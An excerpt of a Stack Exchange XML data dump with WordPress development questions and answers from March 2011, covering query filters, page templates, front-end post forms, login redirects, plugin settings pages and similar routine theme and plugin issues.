  <row Id="13424" PostTypeId="1" CreationDate="2011-03-29T18:56:15.310" Score="1" ViewCount="346" Body="&lt;p&gt;I am trying to modify the main WordPress loop on my category pages like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('parse_query', 'my_modified_query');&#xA;&#xA;function my_modified_query( $q ) {&#xA;       if (!is_admin() &amp;amp;&amp;amp; is_category()) {&#xA;              $q-&amp;gt;set( 'orderby', 'meta_value' );&#xA;              $q-&amp;gt;set( 'meta_key', 'my_key' );&#xA;       }&#xA;&#xA;       return $q;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it does not seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However modifying anything else like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $q-&amp;gt;set( 'order','title' );&#xA; $q-&amp;gt;set( 'orderby', 'DESC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works perfectly. Just not&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q-&amp;gt;set( 'orderby', 'meta_value' );&#xA;$q-&amp;gt;set( 'meta_key', 'my_key' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any idea why that is?&lt;/p&gt;&#xA;" OwnerUserId="4302" LastActivityDate="2011-03-29T21:58:56.283" Title="Modify main WordPress loop with a parse_query filter" Tags="&lt;query-posts&gt;&lt;loop&gt;" AnswerCount="2" />
  <row Id="13425" PostTypeId="2" ParentId="13417" CreationDate="2011-03-29T19:04:19.447" Score="0" ViewCount="" Body="&lt;p&gt;Two methods you use should be identical from PHP viewpoint, I do not see in code any passing by reference or something else that could make a difference.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;but for some reason they are not the last ones&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By default there is very considerable caching time 43200 seconds (12 hours). Could it be that this is what getting you undesirable results?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-29T19:04:19.447" CommentCount="3" />
  <row Id="13426" PostTypeId="2" ParentId="13410" CreationDate="2011-03-29T19:09:10.553" Score="3" ViewCount="" Body="&lt;p&gt;Setting page to be &quot;posts page&quot; changes its template hierarchy to follow &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Home_Page_display&quot; rel=&quot;nofollow&quot;&gt;home page rules&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your custom template is ignored and it looks for &lt;code&gt;home.php&lt;/code&gt; or &lt;code&gt;index.php&lt;/code&gt;, which might or might not be the reason it fails to render.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-29T19:09:10.553" CommentCount="2" />
  <row Id="13427" PostTypeId="2" ParentId="13410" CreationDate="2011-03-29T19:10:29.930" Score="1" ViewCount="" Body="&lt;p&gt;When you set a page to be the Posts Page, it will override any custom template or content you assign and automatically use &lt;code&gt;index.php&lt;/code&gt; to render the posts loop.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-29T19:10:29.930" CommentCount="1" />
  <row Id="13429" PostTypeId="1" AcceptedAnswerId="13431" CreationDate="2011-03-29T19:41:47.190" Score="0" ViewCount="21" Body="&lt;p&gt;I have a self-hosted blog, (&lt;a href=&quot;http://dougmolineux.com/wp/&quot; rel=&quot;nofollow&quot;&gt;Code Repo - Code Snippets&lt;/a&gt;) but for some reason when I search for it on google, it doesn't come up in the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I posted an entry about 4 days ago, and by now I would have expected it come up in the results. When I search for things on my normal site (same domain), they do come up, its just things inside the blog that don't seem to be included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past, I have only had blogs hosted on wordpress.com and they have always automatically come up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2421" LastActivityDate="2011-03-29T19:52:57.550" Title="Self-Hosted Blog on Google Search" Tags="&lt;google-search&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13430" PostTypeId="1" AcceptedAnswerId="14019" CreationDate="2011-03-29T19:48:46.103" Score="1" ViewCount="334" Body="&lt;p&gt;I'm working on a site that is going to be community powered. It's going to have the form for registered users to submit draft posts, which will then be approved or deleted by the site's editors. The way I'm trying to implement it is with a custom page template, which includes a form that will allow people to submit draft posts for review. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone could point me to some code that does this and that works. I have tried searching, but so far the code I'm finding isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using wordpress 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="4238" LastActivityDate="2011-04-05T19:58:34.963" Title="Front End Post Submit Form" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;3.1&gt;&lt;forms&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="13431" PostTypeId="2" ParentId="13429" CreationDate="2011-03-29T19:52:57.550" Score="1" ViewCount="" Body="&lt;p&gt;Googling &quot;site:http://dougmolineux.com/wp/&quot; seems to show that you blog is getting indexed and quick check doesn't find any settings prohibitive to indexing set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than latter there isn't really much that can be done, it's up to Google how it indexes and serves your site in results.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-29T19:52:57.550" CommentCount="1" />
  <row Id="13432" PostTypeId="1" CreationDate="2011-03-29T20:08:59.893" Score="0" ViewCount="249" Body="&lt;p&gt;I'd like to remove the post title from my static frontpage. Just that page.&#xA;I've created a child theme from a free Press75 theme. So I'd like to make this change in my child theme's function.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this code but it removes the title from all pages, posts and my navigation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add_filter( 'the_title', 'remove_page_title' );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function remove_page_title() {&#xA; if(is_page('138')) {&#xA; }&#xA;    return '';&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it would just remove the title from the page with ID 138.&#xA;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4295" LastActivityDate="2011-06-29T11:39:17.797" Title="Remove Page Title from Static Frontpage" Tags="&lt;functions&gt;&lt;filters&gt;&lt;hooks&gt;&lt;pages&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="13433" PostTypeId="2" ParentId="13432" CreationDate="2011-03-29T20:15:55.673" Score="0" ViewCount="" Body="&lt;p&gt;One way for header.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_page('138')) { echo'&#xA;&amp;lt;style type=&quot;text/css&quot; title=&quot;text/css&quot;&amp;gt;&#xA;yourpagetitleselector {display:none;}&#xA;&amp;lt;/style&amp;gt;'&#xA;; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-03-29T20:15:55.673" />
  <row Id="13434" PostTypeId="2" ParentId="13432" CreationDate="2011-03-29T20:22:05.073" Score="2" ViewCount="" Body="&lt;p&gt;wrap your add_filter function call around a conditional tag and use the builtin return false function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_page('138') )&#xA;{&#xA;      add_filter( 'the_title', '__return_false' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-29T20:22:05.073" CommentCount="5" />
  <row Id="13435" PostTypeId="2" ParentId="13389" CreationDate="2011-03-29T20:24:47.613" Score="0" ViewCount="" Body="&lt;p&gt;Might &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_category_parents&quot; rel=&quot;nofollow&quot;&gt;get_category_parents()&lt;/a&gt; be helpful? It outputs a list of all hierarchical parents of the given category.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-29T20:24:47.613" CommentCount="1" />
  <row Id="13436" PostTypeId="2" ParentId="13432" CreationDate="2011-03-29T20:26:21.187" Score="-1" ViewCount="" Body="&lt;p&gt;If I understand you correctly -- that you want to display no &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; for the front page -- you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;?php if ( ! is_front_page() ) { the_title(); } ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4296" LastActivityDate="2011-03-29T20:26:21.187" CommentCount="7" />
  <row Id="13437" PostTypeId="1" AcceptedAnswerId="13531" CreationDate="2011-03-29T20:27:11.187" Score="0" ViewCount="381" Body="&lt;p&gt;OK, there have been several posts on here about frontend posting forms.  I've read them all, which got me to where I am.  Now every form I come across has some form of validation which seems to check for a value for the fields you want to make required.  I've tried them, and I can't get anything to work.  I just can't make any fields required.  Everything else about the form is perfect.  But I would love to enforce my required fields (bonus for appropriate error messages).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried looking around on the google, I don't really think JS is what I want to use for this.  And any other php validation I can't seem to make work either.  I'm sure I'm incorporating them wrong somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have: &lt;a href=&quot;http://pastebin.com/rw4c6jZQ&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/rw4c6jZQ&lt;/a&gt; (full template lines 9-19 are supposed to be validation)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MY processing script at the to of the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;if( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp;  $_POST['action'] == &quot;new_post&quot;) { &#xA;&#xA;    // Do some minor form validation to make sure there is content &#xA;    if (isset ($_POST['title'])) { &#xA;        $title =  $_POST['title']; &#xA;    } else { &#xA;        echo 'Please enter the wine name'; &#xA;    } &#xA;    if (isset ($_POST['description'])) { &#xA;        $description = $_POST['description']; &#xA;    } else { &#xA;        echo 'Please enter some notes'; &#xA;    } &#xA;&#xA;    $tags = $_POST['post_tags']; &#xA;    $winerating = $_POST['winerating']; &#xA;&#xA;    // ADD THE FORM INPUT TO $new_post ARRAY &#xA;    $new_post = array( &#xA;    'post_title'    =&amp;gt;   $title, &#xA;    'post_content'  =&amp;gt;   $description, &#xA;    'post_category' =&amp;gt;   array($_POST['cat']),  // Usable for custom taxonomies too &#xA;    'tags_input'    =&amp;gt;   array($tags), &#xA;    'post_status'   =&amp;gt;   'publish',           // Choose: publish, preview, future, draft, etc. &#xA;    'post_type' =&amp;gt;   'post',  //'post',page' or use a custom post type if you want to &#xA;    'winerating'    =&amp;gt;   $winerating&#xA;    ); &#xA;&#xA;    //SAVE THE POST &#xA;    $pid = wp_insert_post($new_post); &#xA;&#xA;             //KEEPS OUR COMMA SEPARATED TAGS AS INDIVIDUAL &#xA;    wp_set_post_tags($pid, $_POST['post_tags']); &#xA;&#xA;    //REDIRECT TO THE NEW POST ON SAVE &#xA;    $link = get_permalink( $pid ); &#xA;    wp_redirect( $link ); &#xA;&#xA;    //ADD OUR CUSTOM FIELDS &#xA;    add_post_meta($pid, 'rating', $winerating, true);  &#xA;&#xA;    //INSERT OUR MEDIA ATTACHMENTS &#xA;    if ($_FILES) { &#xA;        foreach ($_FILES as $file =&amp;gt; $array) { &#xA;        $newupload = insert_attachment($file,$pid); &#xA;        // $newupload returns the attachment id of the file that &#xA;        // was just uploaded. Do whatever you want with that now. &#xA;        } &#xA;&#xA;    } // END THE IF STATEMENT FOR FILES &#xA;&#xA;} // END THE IF STATEMENT THAT STARTED THE WHOLE FORM &#xA;&#xA;//POST THE POST YO &#xA;do_action('wp_insert_post', 'wp_insert_post'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form and everything else can be seen in the pastebin to see it all in context.  Thanks much!&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-03-30T18:55:28.710" Title="Frontend Post Form Validation" Tags="&lt;posts&gt;&lt;front-end&gt;&lt;validation&gt;" AnswerCount="2" />
  <row Id="13438" PostTypeId="2" ParentId="13209" CreationDate="2011-03-29T20:50:23.663" Score="0" ViewCount="" Body="&lt;p&gt;You could also use the List Category plugin which will let you insert shortcode into any page or post to show either matching posts by categories or by tags. You can specify order sorting, hide/show excerpts, and much more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/list-category-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/list-category-posts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;List of full commands:&#xA;&lt;a href=&quot;http://foro.picandocodigo.net/discussion/251/list-category-posts-documentation/&quot; rel=&quot;nofollow&quot;&gt;http://foro.picandocodigo.net/discussion/251/list-category-posts-documentation/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-29T20:50:23.663" />
  <row Id="13439" PostTypeId="2" ParentId="13424" CreationDate="2011-03-29T21:08:24.940" Score="0" ViewCount="" Body="&lt;p&gt;Servus Sarah. I guess this is for one of your envato-shop themes? Have you already tried to print the query like this (before return): &lt;code&gt;echo '&amp;lt;pre&amp;gt;'; print_r($q); echo '&amp;lt;/pre&amp;gt;';&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess you're adding this inside a themes functions.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$q-&amp;gt;set( 'oderby', 'DESC' );&lt;/code&gt; works, but &lt;code&gt;$q-&amp;gt;set( 'oderby', 'meta_value' );&lt;/code&gt; not? Try using two basic orderby parameters separated by spaces to check if the default behavior works all over. If yes, you might just run into some misspelling. Do other values aside from 'my_key' work for 'meta_key'? If not, then maybe you're missing a 'meta_value' parameter. Not sure on this one, but take a look at this one: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query#Parameters&lt;/a&gt; or even better a direct look at the function inside the core file.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-29T21:08:24.940" CommentCount="4" />
  <row Id="13440" PostTypeId="2" ParentId="5673" CreationDate="2011-03-29T21:16:48.150" Score="2" ViewCount="" Body="&lt;p&gt;Use wp_handle_upload() to handle uploads yourself, without creating attachments or resizing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The media_handle_upload() function actually creates an attachment post, and the resizing process happens when wp_generate_attachment_metadata gets called. If you don't call that, then no resizing occurs.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-03-29T21:16:48.150" />
  <row Id="13441" PostTypeId="2" ParentId="13181" CreationDate="2011-03-29T21:22:36.147" Score="1" ViewCount="" Body="&lt;p&gt;I think, you must also set the options &lt;code&gt;template&lt;/code&gt; and &lt;code&gt;stylesheet&lt;/code&gt;, thats all.&#xA;I use this via filter to set a theme for testing or on a category, post-type and so on. But you must change the fields in table options for active the theme ready. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this help, i dont tested - only my idea.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-03-29T21:22:36.147" CommentCount="1" />
  <row Id="13442" PostTypeId="1" AcceptedAnswerId="13454" CreationDate="2011-03-29T21:25:20.843" Score="0" ViewCount="233" Body="&lt;p&gt;I'm facing a strange problem here with this custom login form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;loginformfooter&quot; class=&quot;loginform&quot; id=&quot;loginformfooter&quot; action=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/wp-login.php&quot; method=&quot;post&quot;&amp;gt;&#xA;&#xA;   &amp;lt;input type=&quot;text&quot; name=&quot;log&quot; id=&quot;user_login&quot; class=&quot;input&quot; tabindex=&quot;1&quot; /&amp;gt;&#xA;   &amp;lt;input type=&quot;password&quot; name=&quot;pwd&quot; id=&quot;user_pass&quot; class=&quot;input&quot; tabindex=&quot;2&quot; /&amp;gt;&#xA;   &amp;lt;input type=&quot;submit&quot; name=&quot;wp-submit&quot; id=&quot;wp-submit&quot; value=&quot;Login&quot; /&amp;gt;&#xA;   &amp;lt;input type=&quot;hidden&quot; name=&quot;redirect_to&quot; value=&quot;http://&amp;lt;?=$_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];?&amp;gt;&quot; /&amp;gt;&#xA;   &amp;lt;input type=&quot;hidden&quot; name=&quot;testcookie&quot; value=&quot;1&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The most of the times it redirect me to the correct page, but few other times, especially at first login, it redirects me to the admin page.&#xA;I'm not able to determine precisely when the problem occours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone found a problem like that? Or is there a better solution to get the same result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2038" LastEditorUserId="2038" LastEditorDisplayName="" LastEditDate="2011-03-29T21:34:20.523" LastActivityDate="2011-03-30T11:52:20.853" Title="custom login form redirect problem" Tags="&lt;3.0&gt;&lt;redirect&gt;&lt;login&gt;" AnswerCount="1" />
  <row Id="13443" PostTypeId="2" ParentId="13437" CreationDate="2011-03-29T21:26:57.517" Score="0" ViewCount="" Body="&lt;p&gt;i think, the right way via php is the esc_attr* functions of WordPress and all function in this file: &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/formatting.php&quot; rel=&quot;nofollow&quot;&gt;wp-includes/formatt&lt;/a&gt;ing.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also use the possibilities from PHP: &lt;a href=&quot;http://de.php.net/manual/en/function.filter-var.php&quot; rel=&quot;nofollow&quot;&gt;filter_var&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-03-29T21:26:57.517" CommentCount="2" />
  <row Id="13444" PostTypeId="1" CreationDate="2011-03-29T21:36:05.810" Score="0" ViewCount="405" Body="&lt;p&gt;Do you know if there's a way to alter via htaccess the &lt;strong&gt;&lt;a href=&quot;http://www.darrenhoyt.com/2008/04/02/timthumb-php-script-released/&quot; rel=&quot;nofollow&quot;&gt;timthumb&lt;/a&gt;&lt;/strong&gt; urls ?&#xA;My question is if i can change for example urls like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thumb.php?src=http://mysite.com/images/image.jpg&amp;amp;h=200&amp;amp;w=350&amp;amp;zc=1&amp;amp;q=80&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/images/image.jpg&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/images/image.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4303" LastActivityDate="2011-06-23T19:24:30.513" Title="TimThumb &amp; htaccess : clean url" Tags="&lt;htaccess&gt;&lt;rewrite-rules&gt;&lt;timthumb&gt;" AnswerCount="3" />
  <row Id="13445" PostTypeId="1" AcceptedAnswerId="13474" CreationDate="2011-03-29T21:43:22.057" Score="0" ViewCount="144" Body="&lt;p&gt;I'm having an issue with one site in which my plugin is installed. The &quot;settings&quot; page will not load. When I click on &quot;settings&quot;, it loads the settings page but the page is blank after the &quot;Upgrade to 3.1&quot; nag div as if there was a die() there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two files, plugin.php and plugin-admin.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got code in plugin.php to set up the admin page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_dir = plugins_url('/img', __FILE__);&#xA;add_options_page( &#xA;    'MY! Settings', &#xA;    'MY! Settings', &#xA;    'manage_options', &#xA;    'my-plugin-admin.php', &#xA;    'my_settings_admin', &#xA;    $my_dir.'/favicon.png', 'top'&#xA;);&#xA;register_setting( 'my_settings_options', 'my_settings', 'my_settings_validate' );&#xA;&#xA;function my_settings_admin(){&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;    include_once dirname(__FILE__) . '/my-plugin-admin.php';&#xA;}&#xA;&#xA;define( 'my_BASENAME', plugin_basename( __FILE__ ) );&#xA;define( 'my_BASEFOLDER', plugin_basename( dirname( __FILE__ ) ) );&#xA;define( 'my_FILENAME', str_replace( my_BASEFOLDER.'/', '', plugin_basename(__FILE__)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;My Settings&quot; link shows up under the &quot;Settings&quot; menu fine, and the link appears to be going to the correct page, but the script does not load and nothing will trace inside of my-plugin-admin.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: with t31os help, here's the updated function that fixes the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_settings_admin(){&#xA;    include_once dirname(__FILE__) . '/my-plugin-admin.php';&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I simply had to move the wp_rewrite and flush rules after the include statement. Although I don't know why.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-03-30T15:03:05.217" LastActivityDate="2011-03-30T15:03:05.217" Title="What could cause my plugin's options/settings page not to load?" Tags="&lt;plugin-development&gt;&lt;settings&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="13446" PostTypeId="1" AcceptedAnswerId="13449" CreationDate="2011-03-29T21:52:49.060" Score="1" ViewCount="133" Body="&lt;p&gt;The admin bar is appearing for non logged-in users on one of my sites, but only for two specific pages (/work and /contact, for what it's worth). Has anyone heard of this happening before? It appears as though one of the site's users is logged in (their username is displayed), but clicking any links on the admin bar lead to the login page. If I click Log Out under that users name in the admin bar, I get a prompt to ensure I want to logout, then a redirect to /wp-login.php. However, upon returning to /work or /contact, the admin bar still appears.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-03-29T22:08:02.240" Title="Why is the admin bar appearing (on certain pages) for non logged-in users?" Tags="&lt;admin-bar&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="13447" PostTypeId="2" ParentId="13424" CreationDate="2011-03-29T21:58:56.283" Score="1" ViewCount="" Body="&lt;p&gt;Ultimately all meta queries get run through &lt;code&gt;_get_meta_sql&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/meta.php#L377&quot; rel=&quot;nofollow&quot;&gt;wp-includes/meta.php&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 402 - 403 in the &lt;code&gt;_get_meta_sql&lt;/code&gt; function&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The following coditional statement runs for any meta queries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( empty( $meta_key ) &amp;amp;&amp;amp; empty( $meta_value ) )&#xA;    continue;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a ticket here for this which outlines what we should be able to do.&lt;br&gt;&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/16735&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/16735&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do however is purposely pass your query a &lt;code&gt;meta_value&lt;/code&gt; your posts will never likely have and use the &lt;code&gt;!=&lt;/code&gt; (not equals) comparison, technically that should get you the right posts, eg..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q-&amp;gt;set( 'meta_key', 'my_key' );&#xA;$q-&amp;gt;set( 'meta_value', 'WPSE_RULES!' );&#xA;$q-&amp;gt;set( 'meta_compare', '!=' );&#xA;$q-&amp;gt;set( 'orderby', 'meta_value' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's one further thing though, you've got these the wrong way round before..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q-&amp;gt;set( 'order','title' );&#xA;$q-&amp;gt;set( 'orderby', 'DESC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;order&lt;/code&gt; sets the which direction to order the results by, valid values are &lt;code&gt;asc&lt;/code&gt; or &lt;code&gt;desc&lt;/code&gt; (upper or lowercase).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;orderby&lt;/code&gt; sets what to the order the results by, eg. date, title, meta value, etc..&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I didn't mention that there's actually a new method for querying posts based on meta now, using the &lt;code&gt;meta_query&lt;/code&gt; parameter, but seeing as that won't avoid the problem i've mentioned above and older meta parameters still(in the end) get converted into a &lt;code&gt;meta_query&lt;/code&gt; anyway, i'll simply offer up a link to some examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://scribu.net/wordpress/advanced-metadata-queries.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/advanced-metadata-queries.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that all helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-29T21:58:56.283" CommentCount="5" />
  <row Id="13448" PostTypeId="1" AcceptedAnswerId="13973" CreationDate="2011-03-29T21:59:39.547" Score="-1" ViewCount="131" Body="&lt;p&gt;I have my news in posts and I am trying to display the two latest news articles (posts) on my main page. I've got that solved by getting the title using &lt;code&gt;the_title()&lt;/code&gt; and getting a little bit of the text using &lt;code&gt;the_excerpt()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to show a &lt;em&gt;more...&lt;/em&gt; link that takes you to the post.  However, some of the news articles that I am posting have some text in the post body that's a link, how do I only get the link within the body of a post so that my &lt;em&gt;more...&lt;/em&gt; link takes your there directly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, sometimes we will link to news articles in PDFs that are on another server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('category_name=news2011'); ?&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&amp;lt;?php /* the_ID(); */ ?&amp;gt; &#xA;&#xA;&amp;lt;?php /* the_date('F Y'); */ ?&amp;gt;&#xA;&amp;lt;ol class=&quot;news&quot;&amp;gt;&#xA;&amp;lt;strong&amp;gt;&amp;lt;p&amp;gt;&amp;lt;?php the_title()?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/strong&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ol&amp;gt;&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4304" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-05T12:39:55.817" LastActivityDate="2011-04-05T12:48:32.890" Title="Get link value only from the_content()?" Tags="&lt;links&gt;&lt;the-content&gt;" AnswerCount="1" />
  <row Id="13449" PostTypeId="2" ParentId="13446" CreationDate="2011-03-29T22:08:02.240" Score="2" ViewCount="" Body="&lt;p&gt;Since I think that mis-identifying all users not-logged in is extremely unlikely, my line of thought is that wrong non-public version of page was cached for some reason.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-29T22:08:02.240" />
